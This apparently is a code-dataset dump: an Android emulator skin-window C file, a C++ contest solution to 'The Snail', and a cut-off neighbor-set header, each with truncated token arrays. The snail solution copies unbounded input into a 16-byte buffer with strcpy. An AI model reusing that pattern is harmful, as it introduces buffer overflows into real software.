dst[0] = xbgr_to_rgba32(src[0], rshift, gshift, bshift, amask);
src -= 1;
dst += 1;
});
src_line -= src_pitch;
dst_line += dst_pitch;
}
break;
default: /* SKIN_ROTATION_270 */
src_line += (disp_h-1-y)*4 + x*src_pitch;
for (yy = h; yy > 0; yy--)
{
uint32_t* dst = (uint32_t*)dst_line;
uint8_t* src = src_line;
DUFF4(w, {
dst[0] = xbgr_to_rgba32(*(uint32_t*)src, rshift, gshift, bshift, amask);
dst += 1;
src += src_pitch;
});
src_line -= 4;
dst_line += dst_pitch;
}
}
}
static void
display_redraw(ADisplay* disp, SkinRect* rect, SkinSurface* surface)
{
SkinRect r;
if (skin_rect_intersect( &r, rect, &disp->rect ))
{
#if 0
fprintf(stderr, "--- display redraw r.pos(%d,%d) r.size(%d,%d) "
"disp.pos(%d,%d) disp.size(%d,%d) datasize(%d,%d) rect.pos(%d,%d) rect.size(%d,%d)\n",
r.pos.x - disp->rect.pos.x, r.pos.y - disp->rect.pos.y,
r.size.w, r.size.h, disp->rect.pos.x, disp->rect.pos.y,
disp->rect.size.w, disp->rect.size.h, disp->datasize.w, disp->datasize.h,
rect->pos.x, rect->pos.y, rect->size.w, rect->size.h );
#endif
SkinSurfacePixelFormat format;
skin_surface_get_format(surface, &format);
SkinSurfacePixels pix;
skin_surface_lock(surface, &pix);
if (disp->brightness == LCD_BRIGHTNESS_OFF)
{
lcd_off_argb32(pix.pixels, &r, pix.pitch);
}
else
{
if (disp->bits_per_pixel == 32) {
display_redraw_rect32(disp, &r, &pix, &format);
} else {
display_redraw_rect16(disp, &r, &pix, &format);
}
#if DOT_MATRIX
dotmatrix_dither_argb32(pix.pixels,
r.pos.x,
r.pos.y,
r.size.w,
r.size.h,
pix.pitch);
#endif
/* apply lightness */
lcd_brightness_argb32(pix.pixels,
&r,
pix.pitch,
disp->brightness);
}
skin_surface_unlock(surface);
/* Apply onion skin */
if (disp->onion != NULL) {
SkinRect r2;
if ( skin_rect_intersect( &r2, &r, &disp->onion_rect ) ) {
SkinRect src_rect;
src_rect.pos.x = r2.pos.x - disp->onion_rect.pos.x;
src_rect.pos.y = r2.pos.y - disp->onion_rect.pos.y;
src_rect.size = r2.size;
skin_surface_blit(surface,
&r2.pos,
skin_image_surface(disp->onion),
&src_rect,
SKIN_BLIT_SRCOVER);
}
}
skin_surface_update(surface, &r);
}
}
typedef struct Button {
SkinImage* image;
SkinRect rect;
SkinPos origin;
Background* background;
unsigned keycode;
int down;
} Button;
static void
button_done( Button* button )
{
skin_image_unref( &button->image );
button->background = NULL;
}
static void
button_init( Button* button, SkinButton* sbutton, SkinLocation* loc, Background* back, SkinRect* frame, SkinLayout* slayout )
{
SkinRect r;
button->image = skin_image_rotate( sbutton->image, loc->rotation );
button->background = back;
button->keycode = sbutton->keycode;
button->down = 0;
if (slayout->has_dpad_rotation) {
/* Dpad keys must be rotated if the skin provides a 'dpad-rotation' field.
* this is used as a counter-measure to the fact that the framework always assumes
* that the physical D-Pad has been rotated when in landscape mode.
*/
button->keycode = skin_keycode_rotate( button->keycode, -slayout->dpad_rotation );
}
skin_rect_rotate( &r, &sbutton->rect, loc->rotation );
r.pos.x += loc->anchor.x;
r.pos.y += loc->anchor.y;
button->origin = r.pos;
skin_rect_intersect( &button->rect, &r, frame );
}
static void
button_redraw(Button* button, SkinRect* rect, SkinSurface* surface)
{
SkinRect r;
if (skin_rect_intersect( &r, rect, &button->rect ))
{
if ( button->down && button->image != SKIN_IMAGE_NONE )
{
SkinRect src_rect;
src_rect.pos.x = r.pos.x - button->origin.x;
src_rect.pos.y = r.pos.y - button->origin.y;
src_rect.size = r.size;
if (button->image != SKIN_IMAGE_NONE) {
skin_surface_blit(surface,
&r.pos,
skin_image_surface(button->image),
&src_rect,
SKIN_BLIT_SRCOVER);
if (button->down > 1) {
skin_surface_blit(surface,
&r.pos,
skin_image_surface(button->image),
&src_rect,
SKIN_BLIT_SRCOVER);
}
}
}
}
}
typedef struct {
char tracking;
char inside;
SkinPos pos;
ADisplay* display;
} FingerState;
static void
finger_state_reset( FingerState* finger )
{
finger->tracking = 0;
finger->inside = 0;
}
typedef struct {
Button* pressed;
Button* hover;
} ButtonState;
static void
button_state_reset( ButtonState* button )
{
button->pressed = NULL;
button->hover = NULL;
}
typedef struct {
char tracking;
SkinTrackBall* ball;
SkinRect rect;
SkinWindow* window;
} BallState;
static void
ball_state_reset( BallState* state, SkinWindow* window )
{
state->tracking = 0;
state->ball = NULL;
state->rect.pos.x = 0;
state->rect.pos.y = 0;
state->rect.size.w = 0;
state->rect.size.h = 0;
state->window = window;
}
static void
ball_state_redraw(BallState* state, SkinRect* rect, SkinSurface* surface)
{
SkinRect r;
if (skin_rect_intersect( &r, rect, &state->rect ))
skin_trackball_draw(state->ball, 0, 0, surface);
}
static void
ball_state_show( BallState* state, int enable )
{
if (enable) {
if ( !state->tracking ) {
state->tracking = 1;
skin_winsys_set_relative_mouse_mode(true);
skin_trackball_refresh( state->ball );
skin_window_redraw( state->window, &state->rect );
}
} else {
if ( state->tracking ) {
state->tracking = 0;
skin_winsys_set_relative_mouse_mode(false);
skin_window_redraw( state->window, &state->rect );
}
}
}
static void
ball_state_set( BallState* state, SkinTrackBall* ball )
{
ball_state_show( state, 0 );
state->ball = ball;
if (ball != NULL) {
skin_trackball_rect(ball, &state->rect);
}
}
typedef struct Layout {
int num_buttons;
int num_backgrounds;
int num_displays;
unsigned color;
Button* buttons;
Background* backgrounds;
ADisplay* displays;
SkinRect rect;
SkinLayout* slayout;
} Layout;
#define LAYOUT_LOOP_BUTTONS(layout,button) \
do { \
Button* __button = (layout)->buttons; \
Button* __button_end = __button + (layout)->num_buttons; \
for ( ; __button < __button_end; __button ++ ) { \
Button* button = __button;
#define LAYOUT_LOOP_END_BUTTONS \
} \
} while (0);
#define LAYOUT_LOOP_DISPLAYS(layout,display) \
do { \
ADisplay* __display = (layout)->displays; \
ADisplay* __display_end = __display + (layout)->num_displays; \
for ( ; __display < __display_end; __display ++ ) { \
ADisplay* display = __display;
#define LAYOUT_LOOP_END_DISPLAYS \
} \
} while (0);
static void
layout_done( Layout* layout )
{
int nn;
for (nn = 0; nn < layout->num_buttons; nn++)
button_done( &layout->buttons[nn] );
for (nn = 0; nn < layout->num_backgrounds; nn++)
background_done( &layout->backgrounds[nn] );
for (nn = 0; nn < layout->num_displays; nn++)
display_done( &layout->displays[nn] );
AFREE( layout->buttons );
layout->buttons = NULL;
AFREE( layout->backgrounds );
layout->backgrounds = NULL;
AFREE( layout->displays );
layout->displays = NULL;
layout->num_buttons = 0;
layout->num_backgrounds = 0;
layout->num_displays = 0;
}
static int
layout_init( Layout* layout, SkinLayout* slayout )
{
int n_buttons, n_backgrounds, n_displays;
/* first, count the number of elements of each kind */
n_buttons = 0;
n_backgrounds = 0;
n_displays = 0;
layout->color = slayout->color;
layout->slayout = slayout;
SKIN_LAYOUT_LOOP_LOCS(slayout,loc)
SkinPart* part = loc->part;
if ( part->background->valid )
n_backgrounds += 1;
if ( part->display->valid )
n_displays += 1;
SKIN_PART_LOOP_BUTTONS(part, sbutton)
n_buttons += 1;
(void)sbutton;
SKIN_PART_LOOP_END
SKIN_LAYOUT_LOOP_END
layout->num_buttons = n_buttons;
layout->num_backgrounds = n_backgrounds;
layout->num_displays = n_displays;
/* now allocate arrays, then populate them */
AARRAY_NEW0(layout->buttons, n_buttons);
AARRAY_NEW0(layout->backgrounds, n_backgrounds);
AARRAY_NEW0(layout->displays, n_displays);
if (layout->buttons == NULL && n_buttons > 0) goto Fail;
if (layout->backgrounds == NULL && n_backgrounds > 0) goto Fail;
if (layout->displays == NULL && n_displays > 0) goto Fail;
n_buttons = 0;
n_backgrounds = 0;
n_displays = 0;
layout->rect.pos.x = 0;
layout->rect.pos.y = 0;
layout->rect.size = slayout->size;
SKIN_LAYOUT_LOOP_LOCS(slayout,loc)
SkinPart* part = loc->part;
Background* back = NULL;
if ( part->background->valid ) {
back = layout->backgrounds + n_backgrounds;
background_init( back, part->background, loc, &layout->rect );
n_backgrounds += 1;
}
if ( part->display->valid ) {
ADisplay* disp = layout->displays + n_displays;
display_init( disp, part->display, loc, &layout->rect );
n_displays += 1;
}
SKIN_PART_LOOP_BUTTONS(part, sbutton)
Button* button = layout->buttons + n_buttons;
button_init( button, sbutton, loc, back, &layout->rect, slayout );
n_buttons += 1;
SKIN_PART_LOOP_END
SKIN_LAYOUT_LOOP_END
return 0;
Fail:
layout_done(layout);
return -1;
}
struct SkinWindow {
const SkinWindowFuncs* win_funcs;
SkinSurface* surface;
Layout layout;
SkinPos pos;
FingerState finger;
ButtonState button;
BallState ball;
char enabled;
char fullscreen;
char no_display;
char enable_touch;
char enable_trackball;
char enable_dpad;
char enable_qwerty;
SkinImage* onion;
SkinRotation onion_rotation;
int onion_alpha;
int x_pos;
int y_pos;
SkinScaler* scaler;
int shrink;
double shrink_scale;
SkinSurface* shrink_surface;
double effective_scale;
double effective_x;
double effective_y;
};
static void
add_finger_event(SkinWindow* window,
unsigned x,
unsigned y,
unsigned state)
{
//fprintf(stderr, "::: finger %d,%d %d\n", x, y, state);
window->win_funcs->mouse_event(x, y, state);
}
static void
skin_window_find_finger( SkinWindow* window,
int x,
int y )
{
FingerState* finger = &window->finger;
/* find the display that contains this movement */
finger->display = NULL;
finger->inside = 0;
if (!window->enable_touch)
return;
LAYOUT_LOOP_DISPLAYS(&window->layout,disp)
if ( skin_rect_contains( &disp->rect, x, y ) ) {
finger->inside = 1;
finger->display = disp;
finger->pos.x = x - disp->origin.x;
finger->pos.y = y - disp->origin.y;
skin_pos_rotate( &finger->pos, &finger->pos, -disp->rotation );
break;
}
LAYOUT_LOOP_END_DISPLAYS
}
static void
skin_window_move_mouse( SkinWindow* window,
int x,
int y )
{
FingerState* finger = &window->finger;
ButtonState* button = &window->button;
if (finger->tracking) {
ADisplay* disp = finger->display;
char inside = 1;
int dx = x - disp->rect.pos.x;
int dy = y - disp->rect.pos.y;
if (dx < 0) {
dx = 0;
inside = 0;
}
else if (dx >= disp->rect.size.w) {
dx = disp->rect.size.w - 1;
inside = 0;
}
if (dy < 0) {
dy = 0;
inside = 0;
} else if (dy >= disp->rect.size.h) {
dy = disp->rect.size.h-1;
inside = 0;
}
finger->inside = inside;
finger->pos.x = dx + (disp->rect.pos.x - disp->origin.x);
finger->pos.y = dy + (disp->rect.pos.y - disp->origin.y);
skin_pos_rotate( &finger->pos, &finger->pos, -disp->rotation );
}
{
Button* hover = button->hover;
if (hover) {
if ( skin_rect_contains( &hover->rect, x, y ) )
return;
hover->down = 0;
skin_window_redraw( window, &hover->rect );
button->hover = NULL;
}
hover = NULL;
LAYOUT_LOOP_BUTTONS( &window->layout, butt )
if ( skin_rect_contains( &butt->rect, x, y ) ) {
hover = butt;
break;
}
LAYOUT_LOOP_END_BUTTONS
/* filter DPAD and QWERTY buttons right here */
if (hover != NULL) {
switch (hover->keycode) {
/* these correspond to the DPad */
case kKeyCodeDpadUp:
case kKeyCodeDpadDown:
case kKeyCodeDpadLeft:
case kKeyCodeDpadRight:
case kKeyCodeDpadCenter:
if (!window->enable_dpad)
hover = NULL;
break;
/* these correspond to non-qwerty buttons */
case kKeyCodeSoftLeft:
case kKeyCodeSoftRight:
case kKeyCodeVolumeUp:
case kKeyCodeVolumeDown:
case kKeyCodePower:
case kKeyCodeHome:
case kKeyCodeBack:
case kKeyCodeCall:
case kKeyCodeEndCall:
case kKeyCodeTV:
case kKeyCodeEPG:
case kKeyCodeDVR:
case kKeyCodePrevious:
case kKeyCodeNext:
case kKeyCodePlay:
case kKeyCodePause:
case kKeyCodeStop:
case kKeyCodeRewind:
case kKeyCodeFastForward:
case kKeyCodeBookmarks:
case kKeyCodeCycleWindows:
case kKeyCodeChannelUp:
case kKeyCodeChannelDown:
break;
/* all the rest is assumed to be qwerty */
default:
if (!window->enable_qwerty)
hover = NULL;
}
}
if (hover != NULL) {
hover->down = 1;
skin_window_redraw( window, &hover->rect );
button->hover = hover;
}
}
}
static void
skin_window_trackball_press( SkinWindow* window, int down )
{
window->win_funcs->key_event(BTN_MOUSE, down);
}
static void
skin_window_trackball_move( SkinWindow* window, int xrel, int yrel )
{
BallState* state = &window->ball;
if ( skin_trackball_move( state->ball, xrel, yrel ) ) {
skin_trackball_refresh( state->ball );
skin_window_redraw( window, &state->rect );
}
}
void
skin_window_set_trackball( SkinWindow* window, SkinTrackBall* ball )
{
BallState* state = &window->ball;
ball_state_set( state, ball );
}
void
skin_window_show_trackball( SkinWindow* window, int enable )
{
BallState* state = &window->ball;
if (state->ball != NULL && window->enable_trackball) {
ball_state_show(state, enable);
}
}
/* Hide the OpenGL ES framebuffer */
static void
skin_window_hide_opengles( SkinWindow* window )
{
window->win_funcs->opengles_hide();
//android_hideOpenglesWindow();
}
/* Show the OpenGL ES framebuffer window */
static void
skin_window_show_opengles( SkinWindow* window )
{
{
ADisplay* disp = window->layout.displays;
SkinRect drect = disp->rect;
void* winhandle = skin_winsys_get_window_handle();
skin_scaler_get_scaled_rect(window->scaler, &drect, &drect);
window->win_funcs->opengles_show(winhandle,
drect.pos.x,
drect.pos.y,
drect.size.w,
drect.size.h,
disp->rotation * -90.);
}
}
static void
skin_window_redraw_opengles( SkinWindow* window )
{
window->win_funcs->opengles_redraw();
//android_redrawOpenglesWindow();
}
static int skin_window_reset_internal (SkinWindow*, SkinLayout*);
SkinWindow*
skin_window_create(SkinLayout* slayout,
int x,
int y,
double scale,
int no_display,
const SkinWindowFuncs* win_funcs)
{
SkinWindow* window;
/* If scale is <= 0, we want to check that the window's default size if
* not larger than the current screen. Otherwise, we need to compute
* a new scale to ensure it is.
*/
if (scale <= 0) {
SkinRect monitor;
int screen_w, screen_h;
int win_w = slayout->size.w;
int win_h = slayout->size.h;
double scale_w, scale_h;
/* To account for things like menu bars, window decorations etc..
* We only compute 95% of the real screen size. */
skin_winsys_get_monitor_rect(&monitor);
screen_w = monitor.size.w * 0.95;
screen_h = monitor.size.h * 0.95;
scale_w = 1.0;
scale_h = 1.0;
if (screen_w < win_w && win_w > 1.)
scale_w = 1.0 * screen_w / win_w;
if (screen_h < win_h && win_h > 1.)
scale_h = 1.0 * screen_h / win_h;
scale = (scale_w <= scale_h) ? scale_w : scale_h;
VERBOSE_PRINT(init,"autoconfig: -scale %g", scale);
}
ANEW0(window);
window->win_funcs = win_funcs;
window->shrink_scale = scale;
window->shrink = (scale != 1.0);
window->scaler = skin_scaler_create();
window->no_display = no_display;
/* enable everything by default */
window->enable_touch = 1;
window->enable_trackball = 1;
window->enable_dpad = 1;
window->enable_qwerty = 1;
window->x_pos = x;
window->y_pos = y;
if (skin_window_reset_internal(window, slayout) < 0) {
skin_window_free(window);
return NULL;
}
skin_winsys_set_window_pos(x, y);
/* Check that the window is fully visible */
if (!window->no_display && !skin_winsys_is_window_fully_visible()) {
SkinRect monitor;
int win_x, win_y, win_w, win_h;
int new_x, new_y;
skin_winsys_get_monitor_rect(&monitor);
skin_winsys_get_window_pos(&win_x, &win_y);
win_w = skin_surface_width(window->surface);
win_h = skin_surface_height(window->surface);
/* First, we recenter the window */
new_x = (monitor.size.w - win_w)/2;
new_y = (monitor.size.h - win_h)/2;
/* If it is still too large, we ensure the top-border is visible */
if (new_y < 0)
new_y = 0;
/* Done */
skin_winsys_set_window_pos(new_x, new_y);
dprint( "emulator window was out of view and was recentered\n" );
}
skin_window_show_opengles(window);
return window;
}
void
skin_window_enable_touch( SkinWindow* window, int enabled )
{
window->enable_touch = !!enabled;
}
void
skin_window_enable_trackball( SkinWindow* window, int enabled )
{
window->enable_trackball = !!enabled;
}
void
skin_window_enable_dpad( SkinWindow* window, int enabled )
{
window->enable_dpad = !!enabled;
}
void
skin_window_enable_qwerty( SkinWindow* window, int enabled )
{
window->enable_qwerty = !!enabled;
}
void
skin_window_set_title( SkinWindow* window, const char* title )
{
if (window && title) {
skin_winsys_set_window_title(title);
}
}
static void
skin_window_resize( SkinWindow* window )
{
if ( !window->no_display )
skin_window_hide_opengles(window);
/* now resize window */
skin_surface_unrefp(&window->surface);
skin_surface_unrefp(&window->shrink_surface);
if ( !window->no_display ) {
int layout_w = window->layout.rect.size.w;
int layout_h = window->layout.rect.size.h;
int window_w = layout_w;
int window_h = layout_h;
int window_x = window->x_pos;
int window_y = window->y_pos;
SkinSurface* surface;
double scale = 1.0;
int fullscreen = window->fullscreen;
if (fullscreen) {
SkinRect r;
skin_winsys_get_monitor_rect(&r);
double x_scale, y_scale;
window_x = r.pos.x;
window_y = r.pos.y;
window_w = r.size.w;
window_h = r.size.h;
x_scale = window_w * 1.0 / layout_w;
y_scale = window_h * 1.0 / layout_h;
scale = (x_scale <= y_scale) ? x_scale : y_scale;
}
else if (window->shrink) {
scale = window->shrink_scale;
window_w = (int) ceil(layout_w*scale);
window_h = (int) ceil(layout_h*scale);
}
surface = skin_surface_create_window(window_x,
window_y,
window_w,
window_h,
fullscreen);
window->effective_scale = scale;
window->effective_x = 0;
window->effective_y = 0;
if (fullscreen) {
window->effective_x = (window_w - layout_w*scale)*0.5;
window->effective_y = (window_h - layout_h*scale)*0.5;
}
if (scale == 1.0)
{
window->surface = surface;
skin_scaler_set( window->scaler, 1.0, 0, 0 );
}
else
{
window_w = (int) ceil(window_w / scale );
window_h = (int) ceil(window_h / scale );
window->shrink_surface = surface;
window->surface = skin_surface_create_slow(window_w, window_h);
if (window->surface == NULL) {
fprintf(stderr, "### Error: could not create or resize window\n");
exit(1);
}
skin_scaler_set( window->scaler, scale, window->effective_x, window->effective_y );
}
skin_window_show_opengles(window);
}
}
static int
skin_window_reset_internal ( SkinWindow* window, SkinLayout* slayout )
{
Layout layout;
ADisplay* disp;
if ( layout_init( &layout, slayout ) < 0 )
return -1;
layout_done( &window->layout );
window->layout = layout;
disp = window->layout.displays;
if (disp != NULL) {
if (slayout->onion_image) {
// Onion was specified in layout file.
display_set_onion( disp,
slayout->onion_image,
slayout->onion_rotation,
slayout->onion_alpha );
} else if (window->onion) {
// Onion was specified via command line.
display_set_onion( disp,
window->onion,
window->onion_rotation,
window->onion_alpha );
}
}
skin_window_resize(window);
finger_state_reset( &window->finger );
button_state_reset( &window->button );
ball_state_reset( &window->ball, window );
skin_window_redraw( window, NULL );
if (slayout->event_type != 0) {
window->win_funcs->generic_event(
slayout->event_type,
slayout->event_code,
slayout->event_value);
}
return 0;
}
int
skin_window_reset ( SkinWindow* window, SkinLayout* slayout )
{
if (!window->fullscreen) {
skin_winsys_get_window_pos(&window->x_pos, &window->y_pos);
}
if (skin_window_reset_internal( window, slayout ) < 0)
return -1;
return 0;
}
void
skin_window_set_lcd_brightness( SkinWindow* window, int brightness )
{
ADisplay* disp = window->layout.displays;
if (disp != NULL) {
disp->brightness = brightness;
skin_window_redraw( window, NULL );
}
}
void
skin_window_free ( SkinWindow* window )
{
if (window) {
skin_surface_unrefp(&window->surface);
skin_surface_unrefp(&window->shrink_surface);
if (window->onion) {
skin_image_unref( &window->onion );
window->onion_rotation = SKIN_ROTATION_0;
}
if (window->scaler) {
skin_scaler_free(window->scaler);
window->scaler = NULL;
}
layout_done( &window->layout );
AFREE(window);
}
}
void
skin_window_set_onion( SkinWindow* window,
SkinImage* onion,
SkinRotation onion_rotation,
int onion_alpha )
{
ADisplay* disp;
SkinImage* old = window->onion;
window->onion = skin_image_ref(onion);
window->onion_rotation = onion_rotation;
window->onion_alpha = onion_alpha;
skin_image_unref( &old );
disp = window->layout.displays;
if (disp != NULL)
display_set_onion( disp, window->onion, onion_rotation, onion_alpha );
}
static void
skin_window_update_shrink( SkinWindow* window, SkinRect* rect )
{
skin_scaler_scale(window->scaler,
window->shrink_surface,
window->surface,
rect->pos.x,
rect->pos.y,
rect->size.w,
rect->size.h);
}
void
skin_window_set_scale( SkinWindow* window, double scale )
{
window->shrink = (scale != 1.0);
window->shrink_scale = scale;
skin_window_resize( window );
skin_window_redraw( window, NULL );
}
void
skin_window_redraw( SkinWindow* window, SkinRect* rect )
{
if (window != NULL && window->surface != NULL) {
Layout* layout = &window->layout;
if (rect == NULL)
rect = &layout->rect;
{
SkinRect r;
if ( skin_rect_intersect( &r, rect, &layout->rect ) ) {
skin_surface_fill(window->surface,
&r,
layout->color);
}
}
{
Background* back = layout->backgrounds;
Background* end = back + layout->num_backgrounds;
for ( ; back < end; back++ )
background_redraw( back, rect, window->surface );
}
{
ADisplay* disp = layout->displays;
ADisplay* end = disp + layout->num_displays;
for ( ; disp < end; disp++ )
display_redraw( disp, rect, window->surface );
}
{
Button* button = layout->buttons;
Button* end = button + layout->num_buttons;
for ( ; button < end; button++ )
button_redraw( button, rect, window->surface );
}
if ( window->ball.tracking )
ball_state_redraw( &window->ball, rect, window->surface );
if (window->effective_scale != 1.0)
skin_window_update_shrink( window, rect );
else
{
skin_surface_update(window->surface, rect);
}
skin_window_redraw_opengles( window );
}
}
void
skin_window_toggle_fullscreen( SkinWindow* window )
{
if (window && window->surface) {
if (!window->fullscreen) {
skin_winsys_get_window_pos(&window->x_pos, &window->y_pos);
}
window->fullscreen = !window->fullscreen;
skin_window_resize( window );
skin_window_redraw( window, NULL );
}
}
void
skin_window_get_display( SkinWindow* window, ADisplayInfo *info )
{
ADisplay* disp = window->layout.displays;
if (disp != NULL) {
info->width = disp->datasize.w;
info->height = disp->datasize.h;
info->rotation = disp->rotation;
info->data = disp->data;
} else {
info->width = 0;
info->height = 0;
info->rotation = SKIN_ROTATION_0;
info->data = NULL;
}
}
static void
skin_window_map_to_scale( SkinWindow* window, int *x, int *y )
{
*x = (*x - window->effective_x) / window->effective_scale;
*y = (*y - window->effective_y) / window->effective_scale;
}
void
skin_window_process_event(SkinWindow* window, SkinEvent* ev)
{
Button* button;
int mx, my;
if (!window->surface)
return;
switch (ev->type) {
case kEventMouseButtonDown:
if ( window->ball.tracking ) {
skin_window_trackball_press( window, 1 );
break;
}
mx = ev->u.mouse.x;
my = ev->u.mouse.y;
skin_window_map_to_scale( window, &mx, &my );
skin_window_move_mouse( window, mx, my );
skin_window_find_finger( window, mx, my );
#if 0
printf("down: x=%d y=%d fx=%d fy=%d fis=%d\n",
ev->u.mouse.x, ev->u.mouse.y, window->finger.pos.x,
window->finger.pos.y, window->finger.inside);
#endif
if (window->finger.inside) {
window->finger.tracking = 1;
add_finger_event(window,
window->finger.pos.x,
window->finger.pos.y,
1);
} else {
window->button.pressed = NULL;
button = window->button.hover;
if(button) {
button->down += 1;
skin_window_redraw( window, &button->rect );
window->button.pressed = button;
if(button->keycode) {
window->win_funcs->key_event(button->keycode, 1);
}
}
}
break;
case kEventMouseButtonUp:
if ( window->ball.tracking ) {
skin_window_trackball_press( window, 0 );
break;
}
button = window->button.pressed;
mx = ev->u.mouse.x;
my = ev->u.mouse.y;
skin_window_map_to_scale( window, &mx, &my );
if (button)
{
button->down = 0;
skin_window_redraw( window, &button->rect );
if(button->keycode) {
window->win_funcs->key_event(button->keycode, 0);
}
window->button.pressed = NULL;
window->button.hover = NULL;
skin_window_move_mouse( window, mx, my );
}
else if (window->finger.tracking)
{
skin_window_move_mouse( window, mx, my );
window->finger.tracking = 0;
add_finger_event(window,
window->finger.pos.x,
window->finger.pos.y,
0);
}
break;
case kEventMouseMotion:
if ( window->ball.tracking ) {
skin_window_trackball_move(window,
ev->u.mouse.xrel,
ev->u.mouse.yrel);
break;
}
mx = ev->u.mouse.x;
my = ev->u.mouse.y;
skin_window_map_to_scale( window, &mx, &my );
if ( !window->button.pressed )
{
skin_window_move_mouse( window, mx, my );
if ( window->finger.tracking ) {
add_finger_event(window,
window->finger.pos.x,
window->finger.pos.y,
1);
}
}
break;
case kEventVideoExpose:
skin_window_redraw_opengles(window);
break;
default:
;
}
}
static ADisplay*
skin_window_display( SkinWindow* window )
{
return window->layout.displays;
}
void
skin_window_update_display( SkinWindow* window, int x, int y, int w, int h )
{
ADisplay* disp = skin_window_display(window);
if ( !window->surface )
return;
if (disp != NULL) {
SkinRect r;
r.pos.x = x;
r.pos.y = y;
r.size.w = w;
r.size.h = h;
skin_rect_rotate( &r, &r, disp->rotation );
r.pos.x += disp->origin.x;
r.pos.y += disp->origin.y;
if (window->effective_scale != 1.0)
skin_window_redraw( window, &r );
else
display_redraw( disp, &r, window->surface );
}
}
| xuanhoa9985/EMULATOR | android/skin/window.c | C | gpl-2.0 | 51,475 | [
30522,
1013,
1008,
9385,
1006,
1039,
1007,
2289,
1011,
2263,
1996,
11924,
2330,
3120,
2622,
1008,
1008,
1008,
1008,
2023,
4007,
2003,
7000,
2104,
1996,
3408,
1997,
1996,
27004,
2236,
2270,
1008,
1008,
6105,
2544,
1016,
1010,
2004,
2405,
2... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
//Solution to problem 573 "The Snail"
//Niyaz Mahmud
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
#include <string.h>
using namespace std;
int main()
{
double well_height, snail_speed, distance_climbed, snail_height, fatigue, fatigue_adj, slide_distance;
well_height = snail_speed = distance_climbed = snail_height = fatigue = fatigue_adj = slide_distance = 0.0;
char input2[16]; //XXX XXX XXX XXX\0
int day = 0;
string input;
while(getline(cin,input))
{
strcpy(input2, input.c_str());
if (input == "0 0 0 0") break;
well_height = atof(strtok(input2," "));
snail_speed = atof(strtok(NULL," "));
slide_distance = atof(strtok(NULL," "));
fatigue = atof(strtok(NULL," "))/100;
fatigue_adj = fatigue*snail_speed;
while (distance_climbed >= 0)
{
day++;
distance_climbed += snail_speed;//snail climbs
if (distance_climbed > well_height)//is the snail out?
{
cout << "success on day " << day << endl;
break;
}
distance_climbed -= slide_distance; //snail slides while sleeping
if (snail_speed>0) snail_speed -= fatigue_adj; //snail gets a little bit tired
}
if (distance_climbed < 0) cout << "failure on day " << day << endl;
well_height = snail_speed = distance_climbed = snail_height = fatigue = fatigue_adj = slide_distance = 0.0;
day = 0;
}
return 0;
}
| acm-csuf/icpc | 2014-10-09-The_Snail/niyaz573.cpp | C++ | mit | 1,328 | [
30522,
1013,
1013,
5576,
2000,
3291,
5401,
2509,
1000,
1996,
10879,
1000,
1013,
1013,
9152,
3148,
2480,
25886,
1001,
2421,
1026,
2358,
20617,
1012,
1044,
1028,
1001,
2421,
1026,
2358,
19422,
12322,
1012,
1044,
1028,
1001,
2421,
1026,
16380,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#ifndef LAC_DIFFERENCE_NEIGHBOR_SET_H
#define LAC_DIFFERENCE_NEIGHBOR_SET_H 1
#include <utility>
#include <list>
#include <algorithm>
namespace LAC {
namespace Difference {
template<typename T>
struct NeighborSet {
typedef T data_t;
typedef std::list<T> queue_t;
typedef typename queue_t::iterator it_t;
typedef typename queue_t::const_iterator const_it_t;
NeighborSet(size_t count) : m_count(std::max((size_t)1,count)) {}
~NeighborSet(){}
void Append(const T& d){
it_t it = std::lower_bound(m_queue.begin(),
m_queue.end(),
d);
m_queue.insert(it, d);
if(m_queue.size() > m_count)
m_queue.pop_back();
}
const_it_t Begin() const { return m_queue.begin(); }
const_it_t End() const { return m_queue.end(); }
size_t m_count;
queue_t m_queue;
};
}
}
#endif
| landmarkacoustics/dissUtils | src/neighbor_set.h | C | gpl-2.0 | 906 | [
30522,
1001,
2065,
13629,
2546,
18749,
1035,
4489,
1035,
11429,
1035,
2275,
1035,
1044,
1001,
9375,
18749,
1035,
4489,
1035,
11429,
1035,
2275,
1035,
1044,
1015,
1001,
2421,
1026,
9710,
1028,
1001,
2421,
1026,
2862,
1028,
1001,
2421,
1026,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
